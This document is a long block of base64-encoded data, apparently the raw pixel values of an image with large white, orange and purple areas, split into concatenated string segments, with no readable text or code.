/////////////////////v3//9zL//+NVf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mWj//+/o//// + ///////////////////////////////////////////////y6///u5n//5Zi//+aaf//uJX//8es///H + rP//rIT//7CJ//+zjf//n3D//4dN//+AQv//g0f//62F///x6////f3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////9vH//8Wo//+shP//0Lr//+PV///Jrv//lmP//4BB//9+P///f0D//4BC//+FSf//lmL//7WR///Y + xP//6+H///n3///+/v/////////////////////////////////////////////8+///xaj//4NG//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+NVP//4ND////+//////////////////////////////////// + /////fz//9jE//+LUv//sIr//+HS///z7f//+vf///v5///t5P//0Lr//66H//+ofv//t5T//8Wo///X + w///9vH///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//+TX///Fqf//r4f//51t//+R + XP//iU///4JE//+WYv//v5///8mv//+3lP//mmn//5Vi//+lef//1cD///n3//////////////////// + //////////////////////////r3//+uhv//f0D//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4JF///G + qf///v3////////////////////////////////////////69///0rz//6R4///j1v///f3///////// + //////////79///cyv//k17//6+H///v5////Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////z7///z7v//6t///+XY///Lsv//lWH//6yD///u5f///Pr///Pu///j + 1v//ya7//6J0//+rgf//7uX/////////////////////////////////////////////8uv//51u//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///f0D//6qA///38/////////////////////////////// + //////////7+///39P//7+f///z6////////////////////////9fH//7qZ//+YZv//3Mr///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////fz///FqP//h03//9O9///9/P////////7+///18f//1L///72c///y7P////////////// + ///////////////////////////+///dzP//jlb//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///lF///+ba/////v////////////////////////////////////////////////////////////// + ///////////////x6v//sYv//6uB///t5f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7//+XY//+aaP//rof///Lr//// + //////////7+///59///9O////38/////////////////////////////////////////Pr//7+g//+C + Rf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+ESP//y7L///38//////////////////// + //////////////////////////////////////////////////////////n3///dzP//3Mv///n3//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////7ub//6l///+sg///8Oj///////////////////////////////////////// + /////////////////////v7///7+///w6P//nm///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+wif//+vf///////////////////////////////////////////////////////// + /////////////////////v7///v5///7+f///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///7+f//+/n///8 + +////////////////////////////////////////////////////v3///79///+/v///fz//9O9//+I + Tv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Zj///p3v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////9/P///v3///7+///38///sIr//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hEj//8Gj///7+v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////+///+/v///v3//+DR//+U + X///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/QP//l2X//+fc///+ + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///38///uJX//4RH//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+DR///vp7///r3//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////f3//9rJ//+S + XP//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+Z + Z///5tr///79/////////////////////////////////////////v3///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///z7f//rIT//4FE//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4NG//+5l///9/P///7+//////////////////// + //////////n3///q4P//8uv///z7//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///fz//821//+L + U///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///5Ba///Wwf///Pv///7+/////v//////////////////+PT//8Wo///Aov//6d////38//// + /////////////////////////////////////v7///////////////////////////////////////// + /////////////////////////////////////////////////////v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///7+//////////////////// + //////////////////////////79///p3v//nGz//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gUP//6F0///o3f///fz///7+//// + ///////////////+/v//7eX//7ua//+2k///zbX//+XZ///18P//+vj///v5///49P//9/T//+zj///p + 3v////////////////////////////////////////////////////////////////////////////// + //////////79///7+f///Pv///7+//////////////////////////////////////////////////// + //////////////////////////////////////////39///7+v///v7///////////////////////// + //////////r3///v5///8On///v5///////////////////////////////////+/v//8ev//7WQ//+E + SP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hkr//7eT///07////fz///7+///////////////////+/v//9fD//8mv//+k + d///pnr//7OO//+8m///vZz//7mW//++nv//2MT///j0//////////////////////////////////// + ///////////////////////////////////////////////////////////////+/v///v7///////// + //////////////////////////////////////////////////////////////////////////////// + ////+PX//9zL///Wwv//7uX///Tv///59v//+vj///r3///w6P//0Lr//7aT///Lsv//8uv///////// + //////////////////////7///n1///EqP//i1L//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVX//8ux///5 + 9v///f3////+/////////////////////////Pv//+rg///Ksf//upj//7aT//+9nf//yrH//9jF///z + 7v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////8+v//6+H//8+3//+qgf//qoH//72c//+6 + mf//uJb//7CJ//+pf///zLP///Ls///7+v///v7////////////////////////8+///1cH//5Rf//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//lF///9G7///7+P///v3///7+//////////////////// + ///////////////+/v///v7///7+///+/f///v7///7+//////////////////////////////////// + //////////////////////////////////////////////////////////7+///9/P///f3///7+//// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///7+v//9fD//+HS///Irv//q4H//6Z7//+ofv//vp7//+XZ///8+/////////////// + /////////////////////f3//+DR//+ZaP//gEH//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+B + Q///lmP//9bC///59v///v3////////+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///+/v////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v3///n3///5 + 9v//+vj///v6///9/f////////////////////////////////////////38///j1f//onX//4JE//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+AQv//mmj//9nG///+/f////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//5Nf//6R3//+DR///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+FSf//wqT///v6//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////+3l//+fb///gUP//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gEL//55u///p3v///f3///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//59z//5pp//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+OVv//0rz///z7///+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///38///49f//ya///4pQ//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hUn//7eU///38////v7///////// + /////////////////////////////////////////fz///////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///37///x6v//rYT//4BC//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+fcP//6d////7+//////////////////////////////////////////////////7+ + ///s5Pz/tZjz/9XG+f/59/7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r+//7+//////////////////////////////////////////////////////////z7///b + yv//kVv//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///i1P//862///7+f////////////// + ////////////////////////////////////////+PT+/7SW9f+xk/P/s5Xz/7SX8//Zy/n/8u39//z7 + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////fz//9rL+v+8ofT/vqX0//79//////////////// + /////////////////////////////////////v7///fz//+2k///gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BC//+uhf//8+3///7+//////////////////////////////////////////////////v5 + ///Apvf/ro31/62L9f+vkPT/sZPz/7CR8v+ylPP/vaP1/97R+v/z7v3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//8Or8/8mz + 9v+vkPL/rIzy/6uK8/+ukPL/2cv5//////////////////////////////////////////////////// + /////fz//+HS//+TXv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1j//93M///+/f////////////// + /////////////////////////////////////v//1sX6/6yK9P+xkfb/roz3/66M9/+sivX/rI3z/6+P + 8/+vj/P/rY3x/9bG+P////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////v5/v/o4fz/zLf4/7WZ9P+vj/L/ro7z/6uJ9P+sivX/qYb0/7GR9P+xk/P/+vj///// + ///////////////////////////////////////////////+/v//+PT//7mX//+CRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+thf//9/P///7+//////////////////////////////////////////////////n2 + /v+ykvX/s5T2/6+N9/+ujPf/roz3/6yL8/+tjPX/q4vy/6yM8f+sjPH/2835//////////////////// + //////////////////////////////////////////7+///+/v///v7///7+///+/v///v3///79///+ + /f///v7////+////////////////////////////////////////////59/8/62N8v+sjPL/roz1/62L + 9v+ti/b/rYv2/62M9v+qiPX/qYb0/6uL8v/Vxvn//f3///////////////////////////////////// + ///////////////9/P//4dP//5Nf//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///kVz//9zL///+/f////////////// + ///////////////////////////////////+/v//0b35/7CO9f+vjvf/roz3/6+O9v+ujPf/roz2/62M + 8/+ri/D/q4vw/6yM8f/l2vv////////////////////////////////////////+/f///v3///39///9 + /f///fz///38///+/f///v3///38///8+////fv///38///9/f////7///////////////////////// + ///////////////////49v7/spL1/66M9/+ujPf/q4n1/6qH9P+phvT/rYv2/6yK9v+qh/T/qony/7KT + 9P/x6/3//v3///////////////////////////////////////////////7+///38v//s43//4BC//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+zjf//9vL///7+///////////////////////////////////////////////+//b0 + /f+wj/X/sI/2/6+O9/+vjvb/sI73/66M9/+ujPX/rIvx/6uL8P+ri/D/up/z//bz/v////////////// + /////////////////////f3///Hq///s5P//8er///Tv///28v//+fb///38///9/P///Pr///r4///7 + +f//+/n///z7///+/v/////////////////////////////////////////////+///CqPn/r433/62L + 9/+qiPX/qof0/6qH9P+qiPT/rYv3/6uI9f+ph/P/q4ry/867+P/8+/////////////////////////// + //////////////////////////38///Xw///jFT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1n//9zL///9/P////////////// + //////////////////////////////////////7/yLH4/6+O9f+vjvf/r473/7GP9v+vjff/roz3/62L + 9v+ri/H/q4vw/6uL8P/ErfT///////////////////////////////////7+///69///v5///5dl//+g + cf//pnv//66H//+5lv//x6z//821///Irf//xKj//8aq///Gqv//zLP///Pu//////////////////// + /////////////////////////////8u1+f+vjff/roz3/6yK9v+qh/T/rIj2/6yJ9v+ti/f/rIn2/6mH + 9P+rivL/tJX1//Hs/f////////////////////////////////////////////////////7///Ls//+m + ev//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BB//+shP//9fH///7+//////////////////////////////////////////////////r3 + /f+riPT/spH2/66M9/+wj/b/sI/2/62M9P+si/P/rIvz/6uL8P+ri/D/q4vw/9XE+P////////////// + ///////////////+/v///v7///n3//+wif//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9/QP//wqX///7+////////////////////////////////////////////0r/6/66M + 9/+ujPf/rYv3/6qH9v+rh/b/qoj1/62L9v+ti/f/q4n1/6qI8/+wkfP/y7X4//////////////////// + /////////////////////////////////////Pr//8es//+FSf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///ilD//9K9///9/P////////////// + ///////////////////////////////////+/f//1MH5/6+O9f+vjff/r433/7CO9/+vjfb/q4vx/6uL + 8f+ri/D/q4vw/6uL8P+sjPH/6+P7///////////////////////////////+///+/v//+PT//6uB//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+1kP//+vf///////// + ///////////////////////////////////f0/v/roz3/66M9/+ujPf/qoj2/6qH9v+qiPT/qoj0/6uJ + 9f+riPT/qYf0/6uL8v+vj/X/+PX+///////////////////////////////////////////////////+ + /v//59v//5Vh//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+fcP//7+j///7+//////////////////////////////////////////////////37 + /v+6nvf/r473/66M9/+vjff/r4z3/62M9f+ri/D/q4vw/6uL8P+ri/D/q4vw/7OW8f/8+/7///////// + //////////////////////////7+///18f//pHj//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///62E///38/////7///////////////////////////////////////Ls + /v+ujPf/roz3/66M9/+riPb/qYf1/6qI9P+qiPT/rIr2/62K9/+rifT/q4ny/62M9P/Twfn//v7///// + ///////////////////////////////////////////////38///p33//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0b//76e///7+f////////////// + ////////////////////////////////////////9fH+/7KQ9v+ujPf/roz3/62L9/+ti/b/rYz0/6uL + 8P+ri/D/q4vw/6uL8P+rjPD/zrv3/////////////////////////////////////////v7///Hr//+e + b///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///pXn///Tv//// + /v//////////////////////////////////////+fb+/7KS+P+ujPf/roz3/6uJ9v+ph/X/qoj0/6qI + 9P+sivb/rIr2/6yK9v+qiPT/q4vy/7mc9//8+v////////////////////////////////////////// + //////////37///CpP//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+QWf//38////7+//////////////////////////////////////////////////// + ///Zyfv/r433/6+N9/+vjff/roz3/7CO9v+tjPP/q4vw/6uL8P+ri/H/q4vw/7CT8f/l2vr///////// + ///////////////////////////+///+/f//7OP//5dk//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+ca///7eX///7+//////////////////////////////////// + ///+/v//ybP6/66M9/+ujPf/rIn2/6mH9f+qiPX/q4j1/6yK9v+rifX/rIr2/6yK9v+rivP/rYz0//n1 + /v///////////////////////////////////////////////////v7//9zL//+NVf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//6V6///07////v7///////// + ///////////////////+/v7//////////////////////7yh+P+wkPb/sZD2/6+O9/+vjff/r432/6yL + 8v+ri/D/q4vx/6uL8P+ri/D/xrD1//38/v/////////////////////////////+/v///v7///38///h + 0v//jFT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Ba///k + 1v///fz////////////////////////////////////////////o3/z/roz3/66M9/+ujPf/qof2/6uI + 9f+sivb/q4n2/6uJ9f+riPX/rYv3/6qI9P+ri/L/39H8///+//////////////////////////////// + ////////////////////8er//51s//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+CRP//waP///z7/////v////////////////////////////////////////////// + ////////s5P3/66M9/+ujPX/ro30/62M9P+rifX/qonz/6uL8P+si/H/rIzw/62O8f/j2fv///7///// + ///////////////////////////+///+/v///Pv//9C4//+DRv//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///hkr//9O+///9+/////////////////////////////// + //////////////jz/v+6nfn/roz3/66M9/+rifb/rIr3/66M9/+rifX/qoj0/6qI9P+ti/b/rIr2/66P + 8/+4nPb//v3////////////////////////////////////////////////+///7+P//sIn//39A//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///45W///cyv///fz////+//// + /////////////////////////////////////////v7///Pt/v+ujPf/rYz1/62M8v+si/L/q4ry/6qJ + 9P+qifT/q4vw/6yM8f+rjPD/vqT0//j2/////////////////////////////////////v7///79///6 + +P//u5r//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qf//wKH///v4/////v///v7/////////////////////////////////+/n+/9rL/P+ujPf/roz3/62L + 9/+sivf/roz3/6yJ9v+qiPX/qoj0/6uJ9f+ti/f/r4/0/6yM8//18P7//v7///////////////////// + //////////////////////////38///Gqf//gUP//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///nm////Do/////v////////////////////////////////////////////// + ///9/P7/1MH7/62L9/+ujfP/q4vx/6uL8f+ri/H/q4ry/6uK8f+ri/D/rIzw/6uL8P/f0vr//f3///// + ///////////////////////////////+/f///v7///fz//+qgP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+uhv//9/P///79///+/v////////////// + ///////////////////9/P//7OX+/7CP9/+ujPf/rYv3/62L9/+tivf/rIj2/6qH9f+qiPT/qoj0/6yL + 9v+tjPb/rIzy/9C9+P/9/P7//////////////////////////////////////////////v7//9rI//+J + T///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///39A//+yjP//+ff///7+//// + /v////////////////////////////////////////////v6/v/Frfn/roz3/62N8/+ri/H/q4vx/6uL + 8f+qivL/q4vw/6uL8f+ri/D/spXy//j3///+/v////////////////////////////////////7+///+ + /f//7+f//5xr//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///51u///u5v///fz///7+//////////////////////////////////7+///49v7/xaz6/66M + 9/+ti/f/rYv3/6yI9/+siPb/qof2/6uJ9P+rifT/rIr1/62L9/+tjPT/vqT2//z6/v////////////// + /////////////////////////////////v//6Nz//5Jd//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///g0f//8er///8+////v7///7+//////////////////////////////////// + ////////+ff+/7ue+P+ujfb/r470/62M8v+ri/L/q4ry/6qK8f+ri/D/rIzw/66Q8f/PvPf///7///7+ + /////////////////////////////////////v7///38///ezv//jlb//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVb//93M///9/f///v7///////// + //////////////////////////////z7///f0/z/r433/62M9/+sivf/q4j3/6uH9/+riff/qoj1/6uJ + 9P+qiPT/rYv2/6yM8/+6n/f/+vj+///////////////////////////////////////////////////y + 